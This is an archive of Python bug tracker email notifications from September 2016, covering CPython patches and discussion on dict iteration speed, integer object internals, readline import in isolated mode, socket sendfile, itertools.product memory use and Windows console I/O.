In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1474133340.98.0.977169870972.issue28190@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Hmmm, I don't know why Rietveld failed to recognize changes in configure. Maybe it's because I've modified the patch file manually?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:10:25 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 17 Sep 2016 18:10:25 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474135825.06.0.76284479939.issue28179@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

I also got the same result on 3.5 as 3.6.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:12:28 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 17 Sep 2016 18:12:28 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474135948.48.0.854732860238.issue28179@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

And the test passes on Windows on both versions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:15:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 18:15:02 +0000
Subject: [issue28191] Support RFC4985 SRVName in SAN name
Message-ID: <1474136102.17.0.179768982424.issue28191@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The standard subject alternative DNS name contains only a relationship between a cert and a host name. A host may have multiple services like HTTPS web server, IMAP server, mail servers etc. https://tools.ietf.org/html/rfc4985 defines a mechanism to define a relationship between a X.509 cert, a DNS name and a service, e.g. _https.www.example.org for service https on www.example.org.

OpenSSL is not yet able to convert a RFC4985 SRVName to a string. I have a patch, https://github.com/tiran/cpython/commits/feature/ssl_srvname

----------
assignee: christian.heimes
components: SSL
messages: 276810
nosy: christian.heimes
priority: normal
severity: normal
stage: patch review
status: open
title: Support RFC4985 SRVName in SAN name
type: security
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28191>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:21:42 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 18:21:42 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474136502.91.0.316374678343.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Good catch Xiang Zhang! I missed this point. Here is fixed patch.

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6))" -- "list(d)"
Python 3.5:            Median +- std dev: 33.8 ms +- 0.7 ms
Python 3.6 unpatched:  Median +- std dev: 37.8 ms +- 0.5 ms
Python 3.6 patched:    Median +- std dev: 34.0 ms +- 0.6 ms

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6)); v = d.values()" -- "list(v)"
Python 3.5:            Median +- std dev: 26.2 ms +- 0.7 ms
Python 3.6 unpatched:  Median +- std dev: 28.0 ms +- 0.6 ms
Python 3.6 patched:    Median +- std dev: 26.1 ms +- 0.8 ms

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6)); v = d.items()" -- "list(v)"
Python 3.5:            Median +- std dev: 232 ms +- 6 ms
Python 3.6 unpatched:  Median +- std dev: 259 ms +- 6 ms
Python 3.6 patched:    Median +- std dev: 249 ms +- 6 ms

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6))" -- "set(d)"
Python 3.5:            Median +- std dev: 68.3 ms +- 1.8 ms
Python 3.6 unpatched:  Median +- std dev: 68.1 ms +- 2.5 ms
Python 3.6 patched:    Median +- std dev: 63.7 ms +- 1.5 ms

$ ./python -m perf timeit -s "from _testcapi import test_dict_iteration as t" -- "t()"
Python 3.5:            Median +- std dev: 3.31 ms +- 0.10 ms
Python 3.6 unpatched:  Median +- std dev: 3.51 ms +- 0.09 ms
Python 3.6 patched:    Median +- std dev: 3.43 ms +- 0.05 ms

----------
Added file: http://bugs.python.org/file44719/dict_iter2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:24:17 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 18:24:17 +0000
Subject: [issue28178] allow to cache_clear(some_key) in lru_cache
In-Reply-To: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>
Message-ID: <1474136657.83.0.831842963289.issue28178@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

FYI, here is a starting point for rolling your own variants.  The OrderedDict makes this effortless.  http://pastebin.com/LDwMwtp8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:31:29 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 18:31:29 +0000
Subject: [issue24780] difflib.ndiff produces unreadable output when input
 missing trailing newline
In-Reply-To: <1438534169.3.0.814109265012.issue24780@psf.upfronthosting.co.za>
Message-ID: <1474137089.97.0.450474761909.issue24780@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
nosy: +loewis, tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24780>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:42:26 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 17 Sep 2016 18:42:26 +0000
Subject: [issue27441] redundant assignments to ob_size of new ints that
 _PyLong_New returned
In-Reply-To: <1467470337.8.0.776341442151.issue27441@psf.upfronthosting.co.za>
Message-ID: <1474137746.9.0.99768088106.issue27441@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Am I missing anything that might cause my patches to introduce a performance penalty?

It's at least conceivable that code like

   Py_SIZE(v) = negative ? -ndigits : ndigits;

might be compiled to something branchless on some platforms (with some sets of compiler flags). The assembly you show demonstrates that that doesn't happen on your machine, but that doesn't say anything about other current or future machines.

I also prefer the original form for readability; so I agree with Serhiy that we shouldn't change it without evidence that the change improves performance.

I'll remove the two obviously redundant `Py_SIZE(v) = ...` operations in PyLong_FromUnsignedLong and PyLong_FromUnsignedLongLong.

----------
assignee:  -> mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27441>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:44:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 18:44:27 +0000
Subject: [issue27441] redundant assignments to ob_size of new ints that
 _PyLong_New returned
In-Reply-To: <1467470337.8.0.776341442151.issue27441@psf.upfronthosting.co.za>
Message-ID: <20160917184424.34406.67608.C58890F7@psf.io>


Roundup Robot added the comment:

New changeset 27a6ecf84f72 by Mark Dickinson in branch 'default':
Issue #27441: Remove some redundant assignments to ob_size in longobject.c. Thanks Oren Milman.
https://hg.python.org/cpython/rev/27a6ecf84f72

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27441>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:48:58 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 17 Sep 2016 18:48:58 +0000
Subject: [issue27441] redundant assignments to ob_size of new ints that
 _PyLong_New returned
In-Reply-To: <1467470337.8.0.776341442151.issue27441@psf.upfronthosting.co.za>
Message-ID: <1474138138.88.0.0314579487754.issue27441@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Changes to PyLong_FromUnsignedLong and PyLong_FromUnsignedLongLong applied. I've left the others; for the small int initialisation, that code isn't performance critical anyway, and I'm not entirely comfortable with assuming that PyObject_INIT_VAR will always handle negative sizes correctly. (The (ab)use of the sign bit of the ob_size field is something that's particular to the int type.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27441>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:50:08 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 17 Sep 2016 18:50:08 +0000
Subject: [issue27441] redundant assignments to ob_size of new ints that
 _PyLong_New returned
In-Reply-To: <1467470337.8.0.776341442151.issue27441@psf.upfronthosting.co.za>
Message-ID: <1474138208.71.0.338246403384.issue27441@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27441>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:58:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 18:58:34 +0000
Subject: [issue28192] Don't import readline in isolated mode
Message-ID: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>


New submission from Steve Dower:

When running in isolated mode, readline should not be automatically imported (as it could conceivably be arbitrary code).

----------
assignee: steve.dower
messages: 276816
nosy: steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: Don't import readline in isolated mode
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:02:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 19:02:09 +0000
Subject: [issue27111] redundant variables in long_add and long_sub
In-Reply-To: <1464122604.65.0.69831533642.issue27111@psf.upfronthosting.co.za>
Message-ID: <20160917190206.4472.32170.B105EA1C@psf.io>


Roundup Robot added the comment:

New changeset 0e585bce0bb1 by Mark Dickinson in branch 'default':
Issue #27111: Minor simplication to long_add and long_sub fast path code. Thanks Oren Milman.
https://hg.python.org/cpython/rev/0e585bce0bb1

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27111>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:03:48 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 17 Sep 2016 19:03:48 +0000
Subject: [issue27111] redundant variables in long_add and long_sub
In-Reply-To: <1464122604.65.0.69831533642.issue27111@psf.upfronthosting.co.za>
Message-ID: <1474139028.45.0.182347449327.issue27111@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Applied; thanks. (I left the braces in, following PEP 7 ("braces are strongly preferred").

----------
nosy: +mark.dickinson
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27111>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:03:57 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 17 Sep 2016 19:03:57 +0000
Subject: [issue27111] redundant variables in long_add and long_sub
In-Reply-To: <1464122604.65.0.69831533642.issue27111@psf.upfronthosting.co.za>
Message-ID: <1474139037.51.0.486502032219.issue27111@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
assignee:  -> mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27111>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:05:32 2016
From: report at bugs.python.org (Giampaolo Rodola')
Date: Sat, 17 Sep 2016 19:05:32 +0000
Subject: [issue5309] distutils doesn't parallelize extension module compilation
In-Reply-To: <1235007592.93.0.0598331575131.issue5309@psf.upfronthosting.co.za>
Message-ID: <1474139132.88.0.849611294623.issue5309@psf.upfronthosting.co.za>


Giampaolo Rodola' added the comment:

I have 2 complaints about this:

1 - doc is missing: the only way to be aware of this is either by reading the 3.6 what's new doc or by checking the cmdline helper

2 - -j "N" parameter could be optional: if not specified os.cpu_count() can be used.

----------
nosy: +giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5309>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:05:38 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 19:05:38 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474139138.09.0.749972525565.issue28192@psf.upfronthosting.co.za>


Steve Dower added the comment:

Should also allow users to explicitly call site.enablerlcompleter() if they really want it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:17:11 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 19:17:11 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474139831.81.0.43484526531.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Also consider adding __length_hint__ to the various mapping views.  That would help with a common case of listing the view.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:18:55 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 19:18:55 +0000
Subject: [issue26384] UnboundLocalError in socket._sendfile_use_sendfile
In-Reply-To: <1455810652.46.0.743197751136.issue26384@psf.upfronthosting.co.za>
Message-ID: <1474139935.69.0.363675025592.issue26384@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks, Serhiy. Here's an updated patch.

----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44720/issue26384_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26384>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:57:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 19:57:07 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474142227.66.0.397973076407.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Dict iterators already have __length_hint__. Dict views have __len__.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:57:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 19:57:27 +0000
Subject: [issue28138] Windows _sys.path file should allow import site
In-Reply-To: <1473801082.85.0.435937363317.issue28138@psf.upfronthosting.co.za>
Message-ID: <20160917195725.17506.47934.357F8D2C@psf.io>


Roundup Robot added the comment:

New changeset 7b47c98f24da by Steve Dower in branch '3.6':
Issue #28137: Renames Windows path file to ._pth
https://hg.python.org/cpython/rev/7b47c98f24da

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28138>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:57:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 19:57:27 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <20160917195725.17506.26583.E480C027@psf.io>


Roundup Robot added the comment:

New changeset 7b47c98f24da by Steve Dower in branch '3.6':
Issue #28137: Renames Windows path file to ._pth
https://hg.python.org/cpython/rev/7b47c98f24da

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:57:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 19:57:29 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <20160917195725.17506.26314.DE575453@psf.io>


Roundup Robot added the comment:

New changeset b0350f351752 by Steve Dower in branch '3.6':
Issue #28192: Don't import readline in isolated mode
https://hg.python.org/cpython/rev/b0350f351752

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:58:17 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 19:58:17 +0000
Subject: [issue28138] Windows _sys.path file should allow import site
In-Reply-To: <1473801082.85.0.435937363317.issue28138@psf.upfronthosting.co.za>
Message-ID: <1474142297.35.0.818653502737.issue28138@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28138>
_______________________________________

From report at bugs.python.org  Sat Sep 17 15:58:57 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 19:58:57 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1474142337.43.0.713414126613.issue28137@psf.upfronthosting.co.za>


Steve Dower added the comment:

Decided to go with "DLLNAME._pth" or "EXENAME._pth", since using ".pth" with "import site" causes files to be reevaluated.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:00:10 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 20:00:10 +0000
Subject: [issue26384] UnboundLocalError in socket._sendfile_use_sendfile
In-Reply-To: <1455810652.46.0.743197751136.issue26384@psf.upfronthosting.co.za>
Message-ID: <1474142410.27.0.560849701687.issue26384@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


Added file: http://bugs.python.org/file44721/issue26384_v3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26384>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:01:17 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 20:01:17 +0000
Subject: [issue26384] UnboundLocalError in socket._sendfile_use_sendfile
In-Reply-To: <1455810652.46.0.743197751136.issue26384@psf.upfronthosting.co.za>
Message-ID: <1474142477.15.0.480691096551.issue26384@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26384>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:01:22 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 20:01:22 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474142482.84.0.647340706646.issue28192@psf.upfronthosting.co.za>


Christian Heimes added the comment:

+1, but your patch is missing Misc/NEWS and a merge to 'default'. The code in Modules/main.c is getting harder to read, too.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:01:43 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 20:01:43 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474142503.29.0.877295708682.issue28192@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +Interpreter Core
type: behavior -> security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:02:41 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 20:02:41 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474142561.57.0.5659089407.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Yes, I missed seeing that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:02:59 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:02:59 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474142579.27.0.682468324621.issue28192@psf.upfronthosting.co.za>


Steve Dower added the comment:

The NEWS change slipped into my following commit, and I just did the one merge.

Since you're here, any ideas on how to test this? Adding a readline.py during the test suite will affect any tests running in parallel...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:06:04 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 20:06:04 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
Message-ID: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The last time we applied the LRU cache to the re.py module, the overhead of the pure python version resulted in a net performance decrease.  But now we have a highly performance C version and should consider reinstating the code.

----------
assignee: serhiy.storchaka
components: Library (Lib)
messages: 276832
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Consider using lru_cache for the re.py caches
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:06:06 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 20:06:06 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474142766.67.0.817047180146.issue28192@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The robot didn't mention your merge because the tracker id was not in the submit messages. I just saw it on python-cvs.

How about a test in subprocess? You could drop a readline.py into Lib/tests/somedirectory and run sys.executable with cwd='Lib/tests/somedirectory').

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:06:09 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:06:09 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474142769.17.0.353489110126.issue28192@psf.upfronthosting.co.za>


Steve Dower added the comment:

Also, I think PEP 432 is the way to go about simplifying Py_Main, and I'm keen to see it happen (presumably for 3.7). But the time constraints make it hard, which is why Nick hasn't gotten it done yet either.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:07:35 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 20:07:35 +0000
Subject: [issue24416] Return a namedtuple from date.isocalendar()
In-Reply-To: <1433853440.83.0.506944331138.issue24416@psf.upfronthosting.co.za>
Message-ID: <1474142855.03.0.00582087458979.issue24416@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

+1 This looks like a reasonable and useful API improvement.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24416>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:12:01 2016
From: report at bugs.python.org (Robert Xiao)
Date: Sat, 17 Sep 2016 20:12:01 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474143121.85.0.451534395535.issue10109@psf.upfronthosting.co.za>


Robert Xiao added the comment:

I think this _is_ a bug. Most of the itertools are quite thrifty with memory, and exceptions are explicitly documented.

The itertools generally only require memory proportional to the number of iterations consumed. However, `itertools.product` requires an enormous up-front memory cost even if only a few iterations are performed. There are good reasons to extract only a few iterations from a `product` - for example, a search procedure where only the first item in the product is infinite:

    for year, day in product(count(2010), range(365)):
        if rare_event(year, day):
            break

Or, in an application I recently tried, to count occurrences of something up to a limit:

    prod = product(count(), range(n))
    filtered = ifilter(pred, prod)
    want = list(islice(filtered, 101))
    if len(want) > 100:
        print "Too many matches"

Having `product` greedily consume all of its input iterators is rather antithetical to the notion of itertools being lazy generators, and it breaks efficient composability with the other itertools.

The fix should be fairly straightforward: like tee, maintain lists of items already generated as the input iterators are exhausted, and add a note that "product"'s memory usage may slowly grow over time (as opposed to growing to maximum size immediately).

----------
nosy: +nneonneo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:22:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 20:22:35 +0000
Subject: [issue26384] UnboundLocalError in socket._sendfile_use_sendfile
In-Reply-To: <1455810652.46.0.743197751136.issue26384@psf.upfronthosting.co.za>
Message-ID: <20160917202232.4749.24749.9418C597@psf.io>


Roundup Robot added the comment:

New changeset 78efbf499611 by Berker Peksag in branch '3.5':
Issue #26384: Fix UnboundLocalError in socket._sendfile_use_sendfile
https://hg.python.org/cpython/rev/78efbf499611

New changeset 2156aa4050c7 by Berker Peksag in branch '3.6':
Issue #26384: Merge from 3.5
https://hg.python.org/cpython/rev/2156aa4050c7

New changeset 0d440fda8604 by Berker Peksag in branch 'default':
Issue #26384: Merge from 3.6
https://hg.python.org/cpython/rev/0d440fda8604

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26384>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:22:37 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 20:22:37 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474143757.72.0.438911035512.issue28193@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Since that time the logic of re._compile() was changed. Now it can't just be wrapped with lru_cache().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:23:45 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 20:23:45 +0000
Subject: [issue26384] UnboundLocalError in socket._sendfile_use_sendfile
In-Reply-To: <1455810652.46.0.743197751136.issue26384@psf.upfronthosting.co.za>
Message-ID: <1474143825.82.0.644527789454.issue26384@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26384>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:29:03 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:29:03 +0000
Subject: [issue28164] _PyIO_get_console_type fails for various paths
In-Reply-To: <1473911463.84.0.00788793507165.issue28164@psf.upfronthosting.co.za>
Message-ID: <1474144143.93.0.863826217242.issue28164@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'll make it case insensitive, but unfortunately I can't find a good way to check that a handle is actually a real console handle or what type it is. Plus the way iomodule is designed we'd need to open it twice, which I'd rather not do.

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28164>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:32:05 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:32:05 +0000
Subject: [issue28163] WindowsConsoleIO fileno() passes wrong flags to
 _open_osfhandle
In-Reply-To: <1473909981.28.0.381163712265.issue28163@psf.upfronthosting.co.za>
Message-ID: <1474144325.91.0.209166143103.issue28163@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'll pass the "correct" flags, since the docs don't specify that they aren't used, which means one day they might become relevant.

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28163>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:38:02 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:38:02 +0000
Subject: [issue28162] WindowsConsoleIO readall() fails if first line starts
 with Ctrl+Z
In-Reply-To: <1473909917.67.0.236391762597.issue28162@psf.upfronthosting.co.za>
Message-ID: <1474144682.12.0.420153851874.issue28162@psf.upfronthosting.co.za>


Steve Dower added the comment:

Unfortunately, very hard to test this because it requires interacting with an actual console. But it's an easy fix.

----------
assignee:  -> steve.dower
stage: test needed -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28162>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:39:33 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 20:39:33 +0000
Subject: [issue16293] curses.ungetch raises OverflowError when given -1
In-Reply-To: <1350782737.16.0.822622780307.issue16293@psf.upfronthosting.co.za>
Message-ID: <1474144773.34.0.29040683482.issue16293@psf.upfronthosting.co.za>


Berker Peksag added the comment:

This looks like a bug in ncurses 5.7 and a duplicate of issue 15037.

----------
